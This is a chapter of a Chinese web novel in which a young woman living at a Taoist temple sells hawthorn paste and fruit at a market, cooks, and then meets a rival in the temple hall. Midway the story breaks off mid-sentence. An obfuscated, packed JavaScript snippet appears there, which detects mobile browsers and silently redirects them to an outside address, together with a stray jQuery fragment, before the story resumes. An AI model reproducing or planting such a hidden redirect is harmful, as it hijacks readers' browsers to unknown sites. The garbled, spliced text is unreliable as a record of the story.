天还没亮,姜悦盈就背着一堆东西下山去了。
集子上和昨天人流熙攘有些不同,只有零零散散的几个摊主占好位子。
她瞧见一处卖胡饼的摊子旁有块空地,闻着这里香味很浓。
要是有客官去光顾这片区域现做的烧饼、烙饼,排队等候也许就能注意道她的小摊。
姜悦盈卸下背篓,取出一片红布,从身后的草丛里捡了几块大石头,压在铺好的布上。
把西红柿、山楂一堆一堆的摆在上面,昨日看到用竹签串起的山楂更好卖,她也串了些。
还有今日的主打山楂膏也一并摆在最中央显眼的位置。
待她处理好,集上摊主陆陆续续都来到了,过一会儿,第一拨客官也来了。
奇怪的是过去一刻钟了,竟没人经过她的摊子,这让她心里属实不大好受。
飞速运转大脑,这是她第一次摆摊,是她哪些地方做错了?
这些摊主多是三四十岁的中年夫妻俩,配合娴熟,操作起来又快又好,一大部分的村民会选择相熟的摊子卖货。
难道是她太小了,看着不靠谱?
虽然她已有二十三岁可原主才十五岁,长相属实不占优势,得给自己搞憔悴些,就抹了把地上的灰涂在脸上。
昨日她逛集的同时,偷偷发现不少人会往蔬菜茎叶上喷水制造新鲜采摘的假象,还显得颜色透亮。
她也悄悄喷了点,互相比对着,自己卖的水果也不必别人差。
听着此起彼伏的叫卖声,姜悦盈心里再不愿意也知道得出声卖了。
她鼓励自己劳动不丢人,赚钱不寒掺。
刚开始小声地喊了几声:“山楂——柿子——山楂膏嘞!”
没甚反应,又放大了一倍音量,“山楂酸甜一斤二钱,柿子蜜甜一斤四钱。”
喊了几嗓子终于有个大娘来了,“小娘子,柿子是现摘的耶?”
姜悦盈淡然一笑,笑意在唇边若隐若现,说:“当然是,给你尝一个。”
她掰开一半给大娘,还挤出些汁水来。
“好,我要两斤。”
见她买的多,姜悦盈拿出地上的一柄杆秤,称出两斤。
又从身后的背篓里取出一个柳条小篓,码好后把里面垫着的枯树叶系好盖在上面,“大娘,小篓收15钱,下次还我我退钱可好?”
这小筐可是她找章阿姊要了两个,做这个也要费些功夫呢,可不能丢了。
大娘看了看自己身后沉甸甸的背篓,点点头答应了。
尝到吆喝的甜头,她又继续喊起来,见领着孩子的大人,她就吆喝着,“山楂熬膏,清热消食,酸酸甜甜。”
这样也成功吸引到了一些嫂嫂、阿婆和阿奶,但人家一听到一罐十钱就都不要了。
有一好心婶子见她年纪小多问了几句,得知姜悦盈丧父,后被婶婶赶出家门,现住道观卖果子为生。
大嫂收紧了下巴,“真是个苦命的孩子。幸好你福大命大捡回一条命。”
姜悦盈心下有些愧疚,用原主的遭遇换来了同情,其实真正的姜悦盈已命丧黄泉。
“你这膏能放置多久?”
好像阿公吃时提过一嘴,山楂膏开封后要在二十日吃尽。
可她做的这儿也不确定,那就说短些吧,姜悦盈的目光从大娘脸上移走,“十日。”
“这么短,小娘子,我多一句嘴,你不如把这膏切成小块卖。”
“我想买些给家里贪嘴孩子吃,山楂比果脯蜜饯还健康些,可你存放时日如此之短,万一买回一罐不合胃口怎办?”
这婶子的话一下子把她的困惑给解决了,姜悦盈高兴极了,笑意扯出两个可爱的梨涡,一深一浅。
拆开拿小刀划开一小块,包在粗麻纸里送给婶子,“婶子,不要钱,你可真帮了我大忙了,吃好再来找我买。”
见她如此爽朗大方,那婶子笑眯眯得接下了,临走还买了串山楂。
姜悦盈打开几罐,都整齐划开,分成小块和大块包进麻纸内,摞在地上。
过了一个时辰,她摊子上的东西都被抢光了,只剩下些柿子,收拾好准备上山。
旁边小摊约摸二十出头的男子叫住她,“女娘。”
这男子穿着普通褐色麻布制的圆领襕袍。
走近她压低声音,“女娘,请你在我这行伍后面站会儿,能给你一胡饼。”
说罢怕她不信,摆着手,“不要钱。”
嗯?还要找人排队,看他家生意很好啊,一直有人排队买饼。
此刻姜悦盈的肚子不合时宜的叫了起来,不要白不要,反正饿了,她就应了。
听到路过的村民有人聊着,“这家胡饼人这么多,一定有它的道理。”
等到她时,后面竟又排上长队了。没曾想这人这么有招?
胡饼自前朝从胡人传到中原,价钱实惠还好吃。
所以上到达官贵人下到平民百姓,都好这一口,排了好一会儿队,才轮到她。
拿到手上,热乎乎的,一个和她脸一般大。
咬下去还有些烫嘴,皮不似笼饼厚实软乎,而是一种薄脆的口感,还掉了一些渣在地上。
好像是比她做的要吃些。
她眼睛扫了一圈,发现这家用了专用烤馕坑,内壁贴饼,底部烧炭,比那日她在观内的炉子更趁手,不易烧糊。
那男子在一旁清扫完桌上的残渣后,上前向姜悦盈道谢。
她摇摇头,“没想到小郎君还会这些法子,真让我大开眼界。”
那男子解释道,“集上卖现制饼的人多,我虽对自家胡饼口味有信心,可客官们在未尝前只能根据人多少或熟人推荐来断好吃与否。”
一番谈论后,姜悦盈也学到不少,想有长久的生意,吸引新客和留住熟客缺一不可。
她踩着石阶爬上山,发觉山间桐叶都变黄了。
许是昨日下过雨的缘故,能闻到泥土的清新气息。
姜悦盈取下竹筐,从地上寻了大片的桐叶想用做包装材料。
越往高处爬,道观还徜徉在迷雾仙境之中,云雾缭绕在山顶,倒是有几分似话本中描写的仙侠世界,奇幻神秘,留给人无限遐想。
回到厢房,她迫不及待地解开腰上的钱袋。
满满一袋子倒在书案上,高兴得一枚一枚数着铜钱,有五十五钱。
开心余后,姜悦盈觉得赚得还是不够多,她一个没甚力量的女娘,下山一次也就只能背几斤果子。
今日这些卖得钱远不如山楂膏来得多,看来还是做好的食物更划算。
可像烙饼、烤馍、汤食这些热食都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692660|188913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
需支炉或锅,现下她的钱并不够。
那要么继续做些膏和点心,提前做好第二天并不影响口感。
想着想着,姜悦盈脑子昏昏沉沉的,眼皮不自觉得上下打架,头也摇成了拨浪鼓,伏在书案上睡着了。
等她醒来,只闻到一股铜臭味,自己竟在钱堆里睡着了,也不嫌呛鼻,真是好笑极了。
她重新梳妆一番,换了件杏黄色隐花裙和鸡心领鹅黄襦衫。
来到厨堂,姜悦盈把山楂膏分与云梨两姐妹。
余下的交给一个常在厨舍帮忙的小道童,让他回去分着给大伙吃。
接着她揭开湿布,拿出昨日托云桃和好的小麦面,又揉了几次直至面团顺滑有弹性。
放在案板上,擀成面饼状,用刀切成索状,轻轻揉搓成长条。
将苋菜等菜叶清洗干净,放进陶斧煮沸捞出,换清水下入索饼条,轻轻搅动放置粘连。
后下入苋菜和韭菜,沸腾撒入葱花,淋入两勺豉汁调味。
她用勺子盛了汤小口吸溜一口,放入食盒留下纸条:段郎君如对口味或食材有改进均可告知于我,差人送到段昭临处。
她早就饿的饥肠辘辘,把陶斧剩余的索饼一尽捞出,不一会儿全都下肚。
吃过后,姜悦盈下山走回厢房,章阿姊和她约好午后去家里做柿酒。
往日里阿公贪酒,平日阿婆严加看管不让其动酒,只有重要日子才能吃上酒,现在是季秋月他能在重阳吃菊花酒。
可现在的她早已病逝而亡,也不知他俩能否挺得住。
想到这些,倒让姜悦盈情绪低落了许多,郑阳和姜父目睹死后的她又会是何模样呢?
愧疚还是释然,是否会后悔。
现下她心潮澎湃,脑子里乱作一团,涌出无数个念头,久久不能平静。
她走走停停一路下坡来到三清殿前,鬼使神差地跟着香客进去。
这是她第一次入殿,殿内刻着满墙的壁画,进门右手边绘制着些神像。
应是道教尊崇的帝神之类,正对面供奉着汉白玉石太山老君像。
左边放具着另一白胡子老者,与太上老君明黄色绣有龙纹云纹的帔袍不同,身披素白无纹的大帔。
还摆了些神像姜悦盈更是认不出。
在这里,空气像是凝滞了一般,她静静得站在壁画前,时间也随之静止。
这一霎那,静得只能听到自己的内心。想这些又有何用呢?
曾经的姜悦盈在众人眼中已化作一副尸首,以后便是一具白骨,既然老天让她离开了京城,重活在洛城,就顺应天命。
正所谓“穷达皆由命,何劳发叹声。但要行好事,莫要问前程。”
心情平复了许多,她转身退出去,没留意到跪在香蒲上的宋家母女。
宋夫人紧闭双眼,手持三柱香,嘴里念叨着“保佑我父仕途昌盛,我儿高中,我女觅得佳婿……”
宋娘子拿着香念完自己的发愿,见母亲还未完,起身先前依次插入三道香炉,微微躬身行了礼就出来了。
扫过姜悦盈的侧脸,这不是昨日撞了她的女娘吗?
她夜里才想起,她身上的披袍是母亲送与段哥哥的。
她眼色阴沉,眉梢高高扬起,带着强大的压迫感向姜悦盈走去,挡住其前路。